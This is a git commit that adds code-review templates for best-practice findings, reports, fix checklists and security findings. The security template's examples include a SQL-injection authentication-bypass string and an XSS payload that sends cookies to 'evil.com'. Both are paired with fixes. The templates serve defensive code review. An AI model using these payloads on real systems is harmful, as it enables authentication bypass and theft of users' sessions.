Add comprehensive code review specifications and templates

- Introduced best practices requirements specification covering code quality, performance, maintainability, error handling, and documentation standards.
- Established quality standards with overall quality metrics and mandatory checks for security, code quality, performance, and maintainability.
- Created security requirements specification aligned with OWASP Top 10 and CWE Top 25, detailing checks and patterns for common vulnerabilities.
- Developed templates for documenting best practice findings, security findings, and generating reports, including structured markdown and JSON formats.
- Updated dependencies in the project, ensuring compatibility and stability.
- Added test files and README documentation for vector indexing tests.
This commit is contained in:
catlog22
2026-01-06 23:11:15 +08:00
parent 02d66325a0
commit ef770ff29b
32 changed files with 4530 additions and 164 deletions

View File

@@ -0,0 +1,234 @@
# Best Practice Finding Template
Use this template for documenting code quality, performance, and maintainability issues.
## Finding Structure
```json
{
"id": "BP-{number}",
"type": "{issue-type}",
"category": "{code_quality|performance|maintainability}",
"severity": "{high|medium|low}",
"file": "{file-path}",
"line": {line-number},
"function": "{function-name}",
"message": "{clear-description}",
"recommendation": {
"description": "{how-to-fix}",
"example": "{corrected-code}"
}
}
```
## Markdown Template
```markdown
### 🟠 [BP-{number}] {Issue Title}
**File**: `{file-path}:{line}`
**Category**: {Code Quality|Performance|Maintainability}
**Issue**: {Detailed explanation of the problem}
**Current Code**:
\`\`\`{language}
{problematic-code}
\`\`\`
**Recommended Fix**:
\`\`\`{language}
{improved-code-with-comments}
\`\`\`
**Impact**: {Why this matters - readability, performance, maintainability}
---
```
## Example: High Complexity
```markdown
### 🟠 [BP-001] High Cyclomatic Complexity
**File**: `src/utils/validator.ts:78`
**Category**: Code Quality
**Function**: `validateUserInput`
**Complexity**: 15 (threshold: 10)
**Issue**: Function has 15 decision points, making it difficult to test and maintain.
**Current Code**:
\`\`\`typescript
function validateUserInput(input) {
if (!input) return false;
if (!input.email) return false;
if (!input.email.includes('@')) return false;
if (input.email.length > 255) return false;
// ... 11 more conditions
}
\`\`\`
**Recommended Fix**:
\`\`\`typescript
// Extract validation rules
const validationRules = {
email: (email) => email && email.includes('@') && email.length <= 255,
password: (pwd) => pwd && pwd.length >= 8 && /[A-Z]/.test(pwd),
username: (name) => name && /^[a-zA-Z0-9_]+$/.test(name),
};
// Simplified validator
function validateUserInput(input) {
return Object.entries(validationRules).every(([field, validate]) =>
validate(input[field])
);
}
\`\`\`
**Impact**: Reduces complexity from 15 to 3, improves testability, and makes validation rules reusable.
---
```
## Example: N+1 Query
```markdown
### 🟠 [BP-002] N+1 Query Pattern
**File**: `src/api/orders.ts:45`
**Category**: Performance
**Issue**: Database query executed inside loop, causing N+1 queries problem. For 100 orders, this creates 101 database queries instead of 2.
**Current Code**:
\`\`\`typescript
const orders = await Order.findAll();
for (const order of orders) {
const user = await User.findById(order.userId);
order.userName = user.name;
}
\`\`\`
**Recommended Fix**:
\`\`\`typescript
// Batch query all users at once
const orders = await Order.findAll();
const userIds = orders.map(o => o.userId);
const users = await User.findByIds(userIds);
// Create lookup map for O(1) access
const userMap = new Map(users.map(u => [u.id, u]));
// Enrich orders with user data
for (const order of orders) {
order.userName = userMap.get(order.userId)?.name;
}
\`\`\`
**Impact**: Reduces database queries from O(n) to O(1), significantly improving performance for large datasets.
---
```
## Example: Missing Documentation
```markdown
### 🟡 [BP-003] Missing Documentation
**File**: `src/services/PaymentService.ts:23`
**Category**: Maintainability
**Issue**: Exported class lacks documentation, making it difficult for other developers to understand its purpose and usage.
**Current Code**:
\`\`\`typescript
export class PaymentService {
async processPayment(orderId: string, amount: number) {
// implementation
}
}
\`\`\`
**Recommended Fix**:
\`\`\`typescript
/**
* Service for processing payment transactions
*
* Handles payment processing, refunds, and transaction logging.
* Integrates with Stripe payment gateway.
*
* @example
* const paymentService = new PaymentService();
* const result = await paymentService.processPayment('order-123', 99.99);
*/
export class PaymentService {
/**
* Process a payment for an order
*
* @param orderId - Unique order identifier
* @param amount - Payment amount in USD
* @returns Payment confirmation with transaction ID
* @throws {PaymentError} If payment processing fails
*/
async processPayment(orderId: string, amount: number) {
// implementation
}
}
\`\`\`
**Impact**: Improves code discoverability and reduces onboarding time for new developers.
---
```
## Example: Memory Leak
```markdown
### 🟠 [BP-004] Potential Memory Leak
**File**: `src/components/Chat.tsx:56`
**Category**: Performance
**Issue**: WebSocket event listener added without cleanup, causing memory leaks when component unmounts.
**Current Code**:
\`\`\`tsx
useEffect(() => {
socket.on('message', handleMessage);
}, []);
\`\`\`
**Recommended Fix**:
\`\`\`tsx
useEffect(() => {
socket.on('message', handleMessage);
// Cleanup on unmount
return () => {
socket.off('message', handleMessage);
};
}, []);
\`\`\`
**Impact**: Prevents memory leaks and improves application stability in long-running sessions.
---
```
## Severity Guidelines
### High
- Major performance impact (N+1 queries, O(n²) algorithms)
- Critical maintainability issues (complexity > 15)
- Missing error handling in critical paths
### Medium
- Moderate performance impact
- Code quality issues (complexity 11-15, duplication)
- Missing tests for important features
### Low
- Minor style violations
- Missing documentation
- Low-impact dead code

View File

@@ -0,0 +1,316 @@
# Report Template
## Main Report Structure (REPORT.md)
```markdown
# Code Review Report
**Generated**: {timestamp}
**Scope**: {scope}
**Files Reviewed**: {total_files}
**Total Findings**: {total_findings}
---
## 📊 Executive Summary
### Overall Assessment
{Brief 2-3 paragraph assessment of code health}
### Risk Level: {LOW|MEDIUM|HIGH|CRITICAL}
{Risk assessment based on findings severity and count}
### Key Statistics
| Metric | Value | Status |
|--------|-------|--------|
| Total Files | {count} | - |
| Files with Issues | {count} | {percentage}% |
| Critical Findings | {count} | {icon} |
| High Findings | {count} | {icon} |
| Medium Findings | {count} | {icon} |
| Low Findings | {count} | {icon} |
### Category Breakdown
| Category | Count | Percentage |
|----------|-------|------------|
| Security | {count} | {percentage}% |
| Code Quality | {count} | {percentage}% |
| Performance | {count} | {percentage}% |
| Maintainability | {count} | {percentage}% |
---
## 🎯 Quality Scores
### Security Score: {score}/100
{Assessment and key issues}
### Code Quality Score: {score}/100
{Assessment and key issues}
### Performance Score: {score}/100
{Assessment and key issues}
### Maintainability Score: {score}/100
{Assessment and key issues}
### Overall Score: {score}/100
**Grade**: {A|B|C|D|F}
---
## 🔴 Critical Findings (Requires Immediate Action)
{List all critical findings using security-finding.md template}
---
## 🟠 High Priority Findings
{List all high findings}
---
## 🟡 Medium Priority Findings
{List all medium findings}
---
## 🟢 Low Priority Findings
{List all low findings}
---
## 📋 Action Plan
### Immediate (Within 24 hours)
1. {Critical issue 1}
2. {Critical issue 2}
3. {Critical issue 3}
### Short-term (Within 1 week)
1. {High priority issue 1}
2. {High priority issue 2}
...
### Medium-term (Within 1 month)
1. {Medium priority issue 1}
2. {Medium priority issue 2}
...
### Long-term (Within 3 months)
1. {Low priority issue 1}
2. {Improvement initiative 1}
...
---
## 📊 Metrics Dashboard
### Code Health Trends
{If historical data available, show trends}
### File Hotspots
Top files with most issues:
1. `{file-path}` - {count} issues ({severity breakdown})
2. `{file-path}` - {count} issues
...
### Technology Breakdown
Issues by language/framework:
- TypeScript: {count} issues
- Python: {count} issues
...
---
## ✅ Compliance Status
### PCI DSS
- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
- **Affecting Findings**: {list}
### HIPAA
- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
- **Affecting Findings**: {list}
### GDPR
- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
- **Affecting Findings**: {list}
---
## 📚 Appendix
### A. Review Configuration
\`\`\`json
{review-config}
\`\`\`
### B. Tools and Versions
- Code Reviewer Skill: v1.0.0
- Security Rules: OWASP Top 10 2021, CWE Top 25
- Languages Analyzed: {list}
### C. References
- [OWASP Top 10 2021](https://owasp.org/Top10/)
- [CWE Top 25](https://cwe.mitre.org/top25/)
- {additional references}
### D. Full Findings Index
{Links to detailed finding JSONs}
```
---
## Fix Checklist Template (FIX-CHECKLIST.md)
```markdown
# Code Review Fix Checklist
**Generated**: {timestamp}
**Total Items**: {count}
---
## 🔴 Critical Issues (Fix Immediately)
- [ ] **[SEC-001]** SQL Injection in `src/auth/user-service.ts:145`
- Effort: 1 hour
- Priority: P0
- Assignee: ___________
- [ ] **[SEC-002]** Hardcoded JWT Secret in `src/auth/jwt.ts:23`
- Effort: 30 minutes
- Priority: P0
- Assignee: ___________
---
## 🟠 High Priority Issues (Fix This Week)
- [ ] **[SEC-003]** Missing Authorization in `src/api/admin.ts:34`
- Effort: 2 hours
- Priority: P1
- Assignee: ___________
- [ ] **[BP-001]** N+1 Query in `src/api/orders.ts:45`
- Effort: 1 hour
- Priority: P1
- Assignee: ___________
---
## 🟡 Medium Priority Issues (Fix This Month)
{List medium priority items}
---
## 🟢 Low Priority Issues (Fix Next Release)
{List low priority items}
---
## Progress Tracking
**Overall Progress**: {completed}/{total} ({percentage}%)
- Critical: {completed}/{total}
- High: {completed}/{total}
- Medium: {completed}/{total}
- Low: {completed}/{total}
**Estimated Total Effort**: {hours} hours
**Estimated Completion**: {date}
```
---
## Summary JSON Template (summary.json)
```json
{
"report_date": "2024-01-15T12:00:00Z",
"scope": "src/**/*",
"statistics": {
"total_files": 247,
"files_with_issues": 89,
"total_findings": 69,
"by_severity": {
"critical": 3,
"high": 13,
"medium": 30,
"low": 23
},
"by_category": {
"security": 24,
"code_quality": 18,
"performance": 12,
"maintainability": 15
}
},
"scores": {
"security": 68,
"code_quality": 75,
"performance": 82,
"maintainability": 70,
"overall": 74
},
"grade": "C",
"risk_level": "MEDIUM",
"action_required": true,
"compliance": {
"pci_dss": {
"status": "NON_COMPLIANT",
"affecting_findings": ["SEC-001", "SEC-002", "SEC-008", "SEC-011"]
},
"hipaa": {
"status": "NON_COMPLIANT",
"affecting_findings": ["SEC-005", "SEC-009"]
},
"gdpr": {
"status": "PARTIAL",
"affecting_findings": ["SEC-002", "SEC-005", "SEC-007"]
}
},
"top_issues": [
{
"id": "SEC-001",
"type": "sql-injection",
"severity": "critical",
"file": "src/auth/user-service.ts",
"line": 145
}
],
"hotspots": [
{
"file": "src/auth/user-service.ts",
"issues": 5,
"severity_breakdown": { "critical": 1, "high": 2, "medium": 2 }
}
],
"effort_estimate": {
"critical": 4.5,
"high": 18,
"medium": 35,
"low": 12,
"total_hours": 69.5
}
}
```

View File

@@ -0,0 +1,161 @@
# Security Finding Template
Use this template for documenting security vulnerabilities.
## Finding Structure
```json
{
"id": "SEC-{number}",
"type": "{vulnerability-type}",
"severity": "{critical|high|medium|low}",
"file": "{file-path}",
"line": {line-number},
"column": {column-number},
"code": "{vulnerable-code-snippet}",
"message": "{clear-description-of-issue}",
"cwe": "CWE-{number}",
"owasp": "A{number}:2021 - {category}",
"recommendation": {
"description": "{how-to-fix}",
"fix_example": "{corrected-code}"
},
"references": [
"https://...",
"https://..."
]
}
```
## Markdown Template
```markdown
### 🔴 [SEC-{number}] {Vulnerability Title}
**File**: `{file-path}:{line}`
**CWE**: CWE-{number} | **OWASP**: A{number}:2021 - {category}
**Vulnerable Code**:
\`\`\`{language}
{vulnerable-code-snippet}
\`\`\`
**Issue**: {Detailed explanation of the vulnerability and potential impact}
**Attack Example** (if applicable):
\`\`\`
{example-attack-payload}
Result: {what-happens}
Effect: {security-impact}
\`\`\`
**Recommended Fix**:
\`\`\`{language}
{corrected-code-with-comments}
\`\`\`
**References**:
- [{reference-title}]({url})
- [{reference-title}]({url})
---
```
## Severity Icon Mapping
- Critical: 🔴
- High: 🟠
- Medium: 🟡
- Low: 🟢
## Example: SQL Injection Finding
```markdown
### 🔴 [SEC-001] SQL Injection in User Authentication
**File**: `src/auth/user-service.ts:145`
**CWE**: CWE-89 | **OWASP**: A03:2021 - Injection
**Vulnerable Code**:
\`\`\`typescript
const query = \`SELECT * FROM users WHERE username = '\${username}'\`;
const user = await db.execute(query);
\`\`\`
**Issue**: User input (`username`) is directly concatenated into SQL query, allowing attackers to inject malicious SQL commands and bypass authentication.
**Attack Example**:
\`\`\`
username: ' OR '1'='1' --
Result: SELECT * FROM users WHERE username = '' OR '1'='1' --'
Effect: Bypasses authentication, returns all users
\`\`\`
**Recommended Fix**:
\`\`\`typescript
// Use parameterized queries
const query = 'SELECT * FROM users WHERE username = ?';
const user = await db.execute(query, [username]);
// Or use ORM
const user = await User.findOne({ where: { username } });
\`\`\`
**References**:
- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)
---
```
## Example: XSS Finding
```markdown
### 🟠 [SEC-002] Cross-Site Scripting (XSS) in Comment Rendering
**File**: `src/components/CommentList.tsx:89`
**CWE**: CWE-79 | **OWASP**: A03:2021 - Injection
**Vulnerable Code**:
\`\`\`tsx
<div dangerouslySetInnerHTML={{ __html: comment.body }} />
\`\`\`
**Issue**: User-generated content rendered without sanitization, allowing script injection.
**Attack Example**:
\`\`\`
comment.body: "<script>fetch('evil.com/steal?cookie='+document.cookie)</script>"
Effect: Steals user session cookies
\`\`\`
**Recommended Fix**:
\`\`\`tsx
import DOMPurify from 'dompurify';
// Sanitize HTML before rendering
<div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(comment.body)
}} />
// Or use text content (if HTML not needed)
<div>{comment.body}</div>
\`\`\`
**References**:
- [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [CWE-79](https://cwe.mitre.org/data/definitions/79.html)
---
```
## Compliance Mapping Template
When finding affects compliance:
```markdown
**Compliance Impact**:
- **PCI DSS**: Requirement 6.5.1 (Injection flaws)
- **HIPAA**: Technical Safeguards - Access Control
- **GDPR**: Article 32 (Security of processing)
```